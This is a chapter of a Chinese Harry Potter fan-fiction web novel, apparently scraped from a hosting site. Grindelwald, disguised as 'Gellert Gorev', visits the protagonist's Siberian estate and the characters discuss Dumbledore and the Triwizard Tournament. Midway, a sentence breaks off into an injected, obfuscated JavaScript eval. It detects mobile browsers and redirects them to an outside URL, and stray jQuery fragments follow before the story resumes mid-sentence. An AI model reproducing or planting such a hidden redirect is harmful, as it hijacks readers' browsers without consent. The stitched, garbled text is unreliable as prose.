默认冷灰
24号文字
方正启体

38. 第 38 章

作者:9leaves本书字数:K更新时间:
    八月的西伯利亚,即便是盛夏也带着凉意。扎瑞亚森林在近乎永昼的微光中,呈现出翡翠的色泽。家族魔法屏障将外界所有的喧嚣与窥探温柔而坚决地隔绝在外。当阿列克谢与伪装成“盖尔曼·戈列夫”的格林德沃通过家族小精灵的长距离幻影移形抵达庄园入口时,森林的气息扑面而来——松针、冻土、白桦树,以及远处温室里魔法草药特有的清苦味。


    “每次回来,都觉得时间在这里走得更慢些。”阿列克谢轻声说,灰蓝色的眼睛扫过熟悉的小径。路边,几株会发光的夜光菇已在黄昏前提前亮起,那是祖母安娜斯塔西娅年轻时培育的品种。


    格林德沃——或者说,盖尔曼·戈列夫——微微颔首。他穿着深灰色的旅行长袍,头发整齐地束在脑后,那双异色瞳在扫视周围时,依然会不自觉地流露出一种审视领土般的锐利。阿列克谢注意到,祖父鲍里斯三年前在庄园外围增设的防护咒语,此刻正微微泛着只有高级巫师才能感知的涟漪——它们在“欢迎”一位老朋友。。


    庄园主厅里,温暖的灯火驱散了林间的寒意。长长的橡木餐桌上,已经摆上足够款待一整支魁地奇球队的美食:烤得恰到好处的鹿肋排配着越橘酱;鲟鱼冻晶莹剔透,点缀着莳萝;各种腌渍的森林蘑菇、浆果馅饼、黑麦面包篮堆成小山;甚至还特意准备了德式烤猪肘和巴伐利亚白肠,佐以地道的酸菜——显然,厨房里的小精灵们收到了明确的指令,要兼顾“客人”可能的口味。


    安娜斯塔西娅·弗瑞斯特从与厨房相连的侧门飘然而出,手中稳稳托着一盘刚出炉、散发着诱人甜香的蜂蜜松饼。她身姿依旧挺拔如昔日在讲台上那般,银发一丝不苟地挽成精致的发髻,深绿色的家居长袍上,用银线绣着的家族徽记在灯光下若隐若现。


    “阿廖沙,我亲爱的。”她首先拥抱了孙子,手掌在他背上轻轻拍了拍,然后才转向格林德沃,灰眸中闪过一丝了然与近乎顽皮的微光,“盖尔曼,长途跋涉辛苦了。远距离定位移形,即便是经由小精灵辅助,也总是有点颠簸,对吧?”


    “比起纽蒙迦德的石床,任何颠簸都算舒适。”格林德沃回答,声音刻意压得低沉了些,但那种惯有的、带着些许讽刺的优雅语调依然隐约可辨。


    这时,鲍里斯·弗瑞斯特大步从书房走出来,手里还拿着一本翻到一半的《魔法地质学期刊》。他比格林德沃矮半个头,但肩膀宽阔,雪白的胡子修剪整齐,一双与阿列克谢如出一辙的灰蓝色眼睛,此刻闪烁着亲切而明亮的光芒。


    “啊!我们流亡归来的表弟!”鲍里斯洪亮地笑着,用力拍了拍格林德沃的肩膀——这个动作让阿列克谢注意到,格林德沃的身体有极其短暂的僵硬,那是常年独处者对身体接触的本能反应。“怎么样,盖尔曼?在外面晃荡了半个世纪,还是家里的饭菜香吧?”


    格林德沃微微挑眉,语气也带上了一丝真实的、属于旧友重逢的调侃:“鲍里斯,如果你指的是那年夏天,我们在贝加尔湖畔露营时,你坚持要烤、结果差点引发森林火灾的那条鱼……那么我确实不该对家里的厨房抱有更高的期待。”


    “刻薄的家伙!那条鱼最后不是抢救回来一半嘛!”鲍里斯哈哈大笑,转向阿列克谢,挤了挤眼睛,“别听他的,阿廖沙。你这位‘戈列夫表叔公’年轻时就以挑剔闻名。不过——”他话锋一转,看向格林德沃,表情里的戏谑稍减,多了几分属于长者和昔日合作者的认真,“盖尔曼,这名字选得……缩写都懒得换?G.G.,你真当阿不思年纪大了,记性也跟着衰退了?”


    安娜斯塔西娅优雅地拿起餐巾,轻咳一声:“鲍里斯。”


    “怎么了?我说的是实话。”老人眨眨眼,“阿不思要是认不出来,他这些年算白活了。不过……”他看向格林德沃,表情难得严肃了几秒,“我们不会说破。这是你们之间的事。”


    格林德沃放下叉子,餐桌上方的魔法烛光在他脸上投下跳动的阴影。“他会认出来的。”他平静地说,“但他也会明白,我选择以这个身份出现在霍格沃茨,本身就意味着某些……游戏规则改变了。


    “而你希望他配合演出,至少保持表面上的‘不知情’与‘礼节性欢迎’。”安娜斯塔西娅了然地点点头,“不过作为推荐信的交换——”她忽然扬起一个笑容,那笑容里充满了少女般的狡黠与期待,让阿列克谢瞬间联想到韦斯莱双胞胎谋划“伟大事业”时的神情,“阿列克谢,开学之后,你必须、务必要把阿不思和盖尔曼‘初次正式会面’的每一个细节,都详详细细地写信告诉我。每一个表情,每一句看似平常的寒暄,尤其是阿不思那双总能看透人心的蓝眼睛里的神色变化——我要第一手的、未经任何修饰的观察报告。”


    鲍里斯顿时抚掌大笑,雪白的胡子随之抖动:“说得好,安娜!这可是跨越了半个世纪、经历了决斗与高塔囚禁后的‘重逢’!精彩程度绝对远超三强争霸赛任何一个项目!”


    阿列克谢看着祖父母如同期待一场精彩戏剧上演般的兴奋模样,又悄悄瞥向格林德沃——后者正慢条斯理地用刀叉分割着一块烤猪肘,嘴角噙着一丝几乎无法捕捉的、介于无奈与纵容之间的弧度,仿佛对老友夫妇的脾性早已习惯,甚至……隐约有些享受这种久违的、带着烟火气的“算计”。


    “他们曾经……”阿列克谢忍不住轻声问,目光在三位长辈之间逡巡,“我是说,邓布利多教授和……戈列夫表叔公,他们真的……”


    餐桌上的气氛似乎凝滞了那么一瞬。


    安娜斯塔西娅与鲍里斯交换了一个眼神。最后是鲍里斯开口,声音温和了些:“阿列克谢,有些历史就像扎瑞亚的冻土,表层是冰雪,深处是古老的故事。盖勒特和阿不思……他们年轻时燃烧过的火焰,连格林德沃后来的野心都比不上那种温度。但这属于他们自己,我们只是恰好站在能看见火光的位置。”


    格林德沃一直没有抬头,只是专注地看着自己盘中的食物,仿佛那烤猪肘上焦脆的皮壳是世界上最值得研究的东西。直到鲍里斯说完,他才用几乎轻不可闻的声音,如同自言自语般补充了一句:“再炽烈的火焰,燃烧过后,留下的也不仅仅是灰烬。还有……无法完全散去的光和热,以及……永远改变了的地形。”


    接下来的日子,“盖尔曼·戈列夫”这个身份,开始以一种缓慢而稳定的速度,融入扎瑞亚庄园的生活节奏。但再完美的伪装,也难免在某些不经意的瞬间,透出底下那个独一无二、桀骜不驯的灵魂底色。


    一次早餐时,安娜斯塔西娅闲聊般问起德姆斯特朗此次代表团的构成,以及校长卡卡洛夫近年来的“治校风格”。格林德沃用他那略带东欧口音的、属于“学者戈列夫”的平稳语调应答着,然而,当他提及伊戈尔·卡卡洛夫这个名字时,那种自然而然流露出的、深入骨髓的轻蔑与鄙夷——“一个善于在风向转变时第一时间缩起脖子、却又总想分一杯羹的投机者”——其尖锐与精准,完全超出了一位“退休老教授”对现任校长的寻常评价范畴。


    还有一次在藏书室,阿列克谢找一本关于北欧如尼文的古籍。格林德沃——当时正站在窗前看着远方的白桦林——头也不回地说:“第三排书架,左边数第七本,红色封皮。”说完他自己顿了顿,补充道,“我猜的。戈列夫应该对如尼文有研究。”


    但阿列克谢知道,这不是猜的。那是格林德沃的记忆,是那个曾经拥有无数追随者、掌控庞大情报网络的人的本能。


    最微妙的,还是在于日常的称呼与氛围。尽管四人时时注意,反复练习“盖尔曼”这个新名字,但鲍里斯和安娜斯塔西娅总会在最为放松的时刻——通常是晚餐后,壁炉里的火焰噼啪作响,大家端着草药茶或少量蜂蜜酒,回忆那些“旧时光”时——不经意地脱口而出“盖勒特”。那些回忆或许关于在维也纳咖啡馆里彻夜的魔法理论激辩,战火纷飞中跨越欧洲的隐秘通信,或是当理想的道路已然分岔、彼此沉默地走向不同方向,却依然通过某些隐秘渠道传递的、关于对方是否安好的简单问候与微不足道的生活物品。


    每当这种时候,格林德沃挺直的背脊会几不可察地松弛些许,手中茶杯的晃动也带上一点不同的韵律,允许自己在这片森林的庇护下,在真正的老朋友面前,短暂地卸下“盖尔曼·


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17233645|197634||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    戈列夫”的壳,做回片刻的盖勒特。


    “他在适应,”安娜斯塔西娅某天傍晚对阿列克谢轻声说,“就像一件太久没穿的外套,就算尺寸还合适,布料也需要时间重新贴合身体。更何况,他扮演的是一个比他原本简单得多的人。”


    关于即将到来的霍格沃茨生活,尤其是三强争霸赛,是在假期进入最后倒计时,被正式摆上桌面讨论的。


    晚餐后,四人移步到面向森林的露台。西伯利亚的夏夜天空是一种深邃的紫蓝色,魔法萤火虫在林间浮动。话题不可避免地转向了即将到来的霍格沃茨新学年,以及最引人注目的三强争霸赛。


    “阿廖沙,”安娜斯塔西娅放下茶杯,语气变得认真了些,手指无意识地摩挲着杯柄,“关于这个比赛……我们不会替你做决定。是否报名,全看你自己。”


    鲍里斯点点头,接过话头,声音洪亮却带着深思:“试试也无妨嘛!我们弗瑞斯特家的孩子,实力我还是清楚的。实战、理论、临场应变,你都不差。这种国际性的竞赛,虽然有点风险,但也是个开阔眼界、检验自己的好机会。我当年跟麻瓜工程师打交道,也是冒着风险去尝试,不试怎么知道不行?” 他的话里透着鼓励,但也包含着一位经历过风浪的长辈的谨慎评估——他并非盲目鼓励冒险。


    安娜斯塔西娅却轻轻叹了口气,优雅的眉宇间染上一丝忧虑:“话是这么说,鲍里斯。但我总有些不放心。三强赛……会把很多外来者带进霍格沃茨。其他学校的学生和教授,还有随之而来的记者、官员……” 她的目光若有似无地扫过旁边正欣赏着夜色的格林德沃,“人多眼杂。而且,你知道的,外面现在不太平。世界杯上的事情,还有那个逃犯……我担心,会不会有不好的东西,趁机混进去。” 她的担忧切实而具体,源自一位母亲和祖母的保护本能,以及对黑暗势力复苏的敏锐感知。


    这时,一直沉默品茶的格林德沃——盖尔曼——轻笑了一声,声音在夜风中显得有点飘忽。他转回头,镜片后的眼神带着一种毫不掩饰的、居高临下的淡漠:“要我说,这就是一场无聊的、被过度包装的跨学校运动会。把几个未成年的学生推到台前,进行一些看似危险实则被严格控制的‘挑战’,满足大众对英雄叙事的廉价渴望,顺便让老古董们重温一下所谓的‘国际友好’。” 他撇了撇嘴,语气里的不屑与他在纽蒙迦德评价伏地魔“幼稚”时如出一辙。“不过,”他话锋微转,看向阿列克谢,“如果你志在参与这种……‘集体游戏’,以你的能力,应付那些预设好的关卡,应当绰绰有余。只是别指望从中获得什么真正的‘成长’,除了或许一点虚名和育儿读物级别的‘勇气’褒奖。”


    露台上陷入了短暂的沉默,只有远处森林传来的、不知名夜鸟的啼叫,以及风穿过白桦林叶片的沙沙声响,仿佛大自然也在聆听与思考。


    许久,阿列克谢深吸了一口带着松香与凉意的空气,缓缓开口:“我需要再想想。在回到霍格沃茨,亲眼看到火焰杯,感受到那里的气氛之前……我还不能决定。”


    “当然,你有充足的时间权衡。”安娜斯塔西娅的声音恢复了往日的温柔与坚定,她伸出手,轻轻拍了拍孙子的手背,“而且,无论你最终做出怎样的选择,记住——”她的手臂划过一个优雅的弧线,将身后的庄园、眼前无垠的黑暗森林,以及这片他们世代守护的土地都囊括其中,“扎瑞亚,永远是你的后方,你的锚点。这里的大门,永远为你敞开。”


    假期最后一天,阿列克谢独自去了家族墓园。它位于庄园东侧的一片空地上,没有阴森的气氛,只有简洁的石碑和常年不败的魔法花朵。弗瑞斯特家族的历代成员都安息于此,墓碑上刻着家族徽章:扎根冻土、头顶星辰的白桦林。


    远处,庄园的灯火渐次亮起。明天,他将返回霍格沃茨,踏入六年级,踏入三强争霸赛的喧嚣,踏入魂器搜寻的阴影,踏入格林德沃与邓布利多重逢的戏剧性时刻。


    而此刻,在西伯利亚夏末的微风中,阿列克谢·弗瑞斯特只是静静地站着,让扎瑞亚的宁静沉入心底,成为未来风暴中那个不会动摇的坐标。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)